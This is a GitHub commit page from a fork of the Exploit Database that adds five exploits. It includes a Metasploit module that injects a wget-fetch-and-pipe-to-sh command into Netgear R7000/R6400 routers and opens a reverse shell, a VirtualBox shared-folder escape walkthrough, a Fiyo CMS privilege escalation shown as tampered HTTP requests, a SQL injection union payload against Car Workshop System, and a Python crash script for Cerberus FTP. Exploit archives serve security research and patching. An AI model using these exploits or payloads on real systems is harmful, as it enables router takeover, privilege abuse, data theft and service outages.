forked from offensive-security/exploitdb
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
5 new exploits Cerberus FTP Server 8.0.10.1 - Denial of Service VirtualBox - Cooperating VMs can Escape from Shared Folder Netgear R7000 and R6400 - cgi-bin Command Injection (Metasploit) Car Workshop System - SQL Injection Fiyo CMS 2.0.6.1 - Privilege Escalation
- Loading branch information
Offensive Security
committed
Mar 14, 2017
1 parent
d36dc6b
commit 8359f0a
Showing
8 changed files
with
314 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,104 @@ | ||
## | ||
# This module requires Metasploit: http://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
require 'msf/core' | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::CmdStager | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection", | ||
'Description' => %q{ | ||
This module exploits an arbitrary command injection vulnerability in | ||
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'linux', | ||
'Author' => ['thecarterb', 'Acew0rm'], | ||
'DefaultTarget' => 0, | ||
'Privileged' => true, | ||
'Arch' => ARCH_ARMLE, | ||
'Targets' => [ | ||
[ 'Automatic Target', { } ] | ||
], | ||
'References' => | ||
[ | ||
[ 'EDB', '40889'], | ||
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'], | ||
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'], | ||
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'], | ||
[ 'CVE', '2016-6277'] | ||
], | ||
'DisclosureDate' => 'Dec 06 2016', | ||
'DefaultOptions' => | ||
{ | ||
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp' | ||
} | ||
)) | ||
|
||
register_options( | ||
[ | ||
Opt::RPORT(80) | ||
], self.class) | ||
|
||
deregister_options('URIPATH') | ||
end | ||
|
||
def scrape(text, start_trig, end_trig) | ||
text[/#{start_trig}(.*?)#{end_trig}/m, 1] | ||
end | ||
|
||
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected | ||
def check | ||
res = send_request_cgi({'uri'=>'/'}) | ||
if res.nil? | ||
fail_with(Failure::Unreachable, 'Connection timed out.') | ||
end | ||
# Checks for the `WWW-Authenticate` header in the response | ||
if res.headers["WWW-Authenticate"] | ||
data = res.to_s | ||
marker_one = "Basic realm=\"NETGEAR " | ||
marker_two = "\"" | ||
model = scrape(data, marker_one, marker_two) | ||
vprint_status("Router is a NETGEAR router (#{model})") | ||
if model == 'R7000' || model == 'R6400' | ||
print_good("Router may be vulnerable (NETGEAR #{model})") | ||
return CheckCode::Detected | ||
else | ||
return CheckCode::Safe | ||
end | ||
else | ||
print_error('Router is not a NETGEAR router') | ||
return CheckCode::Safe | ||
end | ||
end | ||
|
||
def exploit | ||
return if check == CheckCode::Safe | ||
|
||
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';') | ||
|
||
send_request_cgi( | ||
'method' => 'GET', | ||
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh" | ||
) | ||
end | ||
|
||
# Return CmdStager on first request, payload on second | ||
def on_request_uri(cli, request) | ||
if @cmdstager | ||
send_response(cli, @cmdstager) | ||
@cmdstager = nil | ||
else | ||
super | ||
end | ||
end | ||
|
||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,55 @@ | ||
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1037 | ||
|
||
There is a security issue in the shared folder implementation that | ||
permits cooperating guests with write access to the same shared folder to | ||
gain access to the whole filesystem of the host, at least on Linux hosts. | ||
|
||
The issue is that, when the host checks whether a given path escapes the root | ||
directory of the shared folder in vbsfPathCheckRootEscape(), the function | ||
assumes that the directory hierarchy is static: E.g. the path | ||
"base/a/b/c/../../.." is assumed to be equivalent to "base/a/b/../..", | ||
"base/a/.." and "base". However, at least on Linux, renames can occur at the | ||
same time as path traversal. | ||
|
||
This means that, if VM A attempts to open "base/a/b/c/../../../foo" while | ||
VM B is moving "base/a/b/c" to "base/c_", VM A might actually end up opening | ||
"base/../../foo" instead of "base/foo". | ||
|
||
To demonstrate the issue, on a Linux host with Virtualbox 5.1.10: | ||
|
||
- Place a file called "real_root_marker" in the root directory of the Linux | ||
host, containing some secret text. The VMs will attempt to obtain | ||
the contents of this file. | ||
|
||
root@host:/# echo "this is secret text in the host fs" > /real_root_marker | ||
|
||
- Create two Linux VMs with a shared writable folder. | ||
- In the VMs, install the guest extensions, with the attached patch | ||
vboxsf_new.patch applied. | ||
- In the VMs, ensure that the new vboxsf kernel module is loaded and that | ||
the shared folder is mounted. | ||
- In VM A, compile and run the attached file openspam.c: | ||
|
||
root@vmA:/media/sf_vboxshared# gcc -o openspam openspam.c -std=gnu99 | ||
root@vmA:/media/sf_vboxshared# ./openspam | ||
entering directory... | ||
entered directory and prepared folders, racing... | ||
|
||
- In VM B, compile and run the attached file renamespam.c: | ||
|
||
root@vmB:/media/sf_vboxshared# gcc -o renamespam renamespam.c -std=gnu99 | ||
root@vmB:/media/sf_vboxshared# ./renamespam | ||
|
||
Now, in VM A, you should see the contents of the host's /real_root_marker | ||
within seconds: | ||
|
||
SUCCESS | ||
this is secret text in the host fs | ||
EOF | ||
|
||
Note: The exploit assumes that the shared folder isn't more than nine levels | ||
away from the filesystem root. | ||
|
||
|
||
Proof of Concept: | ||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/41597.zip |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,76 @@ | ||
# Exploit Title: Fiyo CMS 2.0.6.1 allows remote authenticated users to gain privileges via a modified level parameter | ||
# Google Dork: no | ||
# Date: 11-03-2017 | ||
# Exploit Author: @rungga_reksya, @dvnrcy | ||
# Vendor Homepage: http://www.fiyo.org | ||
# Software Link: https://sourceforge.net/projects/fiyo-cms | ||
# Version: 2.0.6.1 | ||
# Tested on: Windows Server 2012 Datacenter Evaluation | ||
# CVE : CVE-2017-6823 | ||
|
||
I. Background: | ||
Fiyo CMS di kembangkan dan dibuat pertama kali oleh mantan seorang pelajar SMK yang pada saat itu bersekolah di SMK 10 Semarang jurusan RPL. Pada zaman itu namanya bukan Fiyo CMS melainkan Sirion yang merupakan akronim dari Site Administration. | ||
|
||
II. Description: | ||
Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1 | ||
|
||
III. Exploit: | ||
Fiyo CMS have five user group (super administrator, administrator, editor, publisher, member) and only three group can access backend page of admin (super administrator, administrator and editor). | ||
|
||
If we login as super administrator and access edit profile menu, check source code (ctrl+u) from your browser and we get level privilege: | ||
super administrator = 1 | ||
administrator = 2 | ||
editor = 3 | ||
publisher = 4 | ||
member = 5 | ||
|
||
Ok, prepare your tool like burpsuite to intercept traffic. in this case I login as editor and I want manipulation of editor group (level=3) to be super administrator group (level=1). The first you access on menu “Edit Profile” and click “Simpan (Save)”, and then change like this on your burpsuite intercept menu: | ||
|
||
Original: | ||
|
||
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1 | ||
Host: 192.168.1.2 | ||
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | ||
Accept-Language: en-US,en;q=0.5 | ||
Accept-Encoding: gzip, deflate | ||
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 | ||
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7 | ||
Connection: close | ||
Content-Type: application/x-www-form-urlencoded | ||
Content-Length: 134 | ||
|
||
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=3&name=editor&bio= | ||
|
||
|
||
Manipulation (Change Level=3 to be Level=1): | ||
|
||
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1 | ||
Host: 192.168.1.2 | ||
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0 | ||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | ||
Accept-Language: en-US,en;q=0.5 | ||
Accept-Encoding: gzip, deflate | ||
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 | ||
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7 | ||
Connection: close | ||
Content-Type: application/x-www-form-urlencoded | ||
Content-Length: 134 | ||
|
||
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=1&name=editor&bio= | ||
|
||
Yeaaah, now editor become super administrator privilege ^_^ and The level of administrator can be super administrator too. | ||
|
||
|
||
IV. Thanks to: | ||
- Alloh SWT | ||
- MyBoboboy | ||
- MII CAS | ||
- Komunitas IT Auditor & IT Security Kaskus | ||
|
||
|
||
Refer: | ||
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003) | ||
|
||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,26 @@ | ||
# # # # # | ||
# Exploit Title: Car Workshop System - SQL Injection | ||
# Google Dork: N/A | ||
# Date: 13.03.2017 | ||
# Vendor Homepage: http://prosoft-apps.com/ | ||
# Software: https://codecanyon.net/item/car-workshop-system/19562074 | ||
# Demo: http://workshop.prosoft-apps.com/ | ||
# Version: N/A | ||
# Tested on: Win7 x64, Kali Linux x64 | ||
# # # # # | ||
# Exploit Author: Ihsan Sencan | ||
# Author Web: http://ihsan.net | ||
# Author Mail: ihsan[@]ihsan[.]net | ||
# # # # # | ||
# SQL Injection/Exploit : | ||
# http://localhost/[PATH]/services/print_service_invoice?job_id=[SQL] | ||
# 6'+/*!50000union*/+select+1,2,3,/*!50000concat*/(database(),0x7e,version()),5,6,7,8,9,10,11,12--+- | ||
# | ||
# In addition. | ||
# Technician User, There are security vulnerabilities. | ||
# purchase_order/deletePO?id= | ||
# technician_services/tech_opened_services_view?job_id= | ||
# technician_services/tech_drew_out_inventory_services_view?job_id= | ||
# technician_services/tech_completed_services_view?job_id= | ||
# Etc.. | ||
# # # # # |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,46 @@ | ||
# Exploit Title: Cerberus FTP server – Denial of Service | ||
# Date: 2017-03-13 | ||
# Exploit Author: Peter Baris | ||
# Vendor Homepage: https://www.cerberusftp.com/ | ||
# Software Link: [download link if available] | ||
# Version: 8.0.10.1 | ||
# Tested on: Windows Server 2008 R2 Standard x64, Windows 7 Pro SP1 x64 | ||
# CVE : CVE-2017-6367 | ||
|
||
# 2017-02-27: Vulnerability discovered, Contact to Cerberus Support | ||
# 2017-02-27: Reply received, PoC exploit code sent | ||
# 2017-02-27: Problematic module identified by the vendor, gSOAP | ||
# 2017-03-02: New version 8.0.10.2 released - https://www.cerberusftp.com/products/releasenotes/ | ||
# 2017-03-02: gSOAP module update released by the vendor and advisory placed https://www.genivia.com/advisory.html | ||
# 2017-03-02: grace period until 13th March | ||
# 2017-03-13: Publishing | ||
|
||
import socket | ||
import sys | ||
|
||
try: | ||
host = sys.argv[1] | ||
port = 10001 | ||
except IndexError: | ||
print "[+] Usage %s <host> " % sys.argv[0] | ||
sys.exit() | ||
|
||
|
||
exploit = "A"*5004 | ||
|
||
buffer = "GET /index.html HTTP/1.1\r\n" | ||
buffer+= "Host: "+exploit+host+":"+str(port)+"\r\n" | ||
buffer+= "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:44.0) Gecko/20100101 Firefox/44.0 Iceweasel/44.0.2\r\n" | ||
buffer+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\ | ||
r\n" | ||
buffer+="Accept-Language: en-US,en;q=0.5\r\n" | ||
buffer+="Accept-Encoding: gzip, deflate\r\n" | ||
buffer+="Referer: "+host+":"+str(port)+"\r\n" | ||
buffer+="Connection: keep-alive\r\n" | ||
buffer+="Content-Type: application/x-www-form-urlencoded\r\n" | ||
buffer+="Content-Length: 5900\r\n\r\n" | ||
|
||
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
connect=s.connect((host,port)) | ||
s.send(buffer) | ||
s.close() |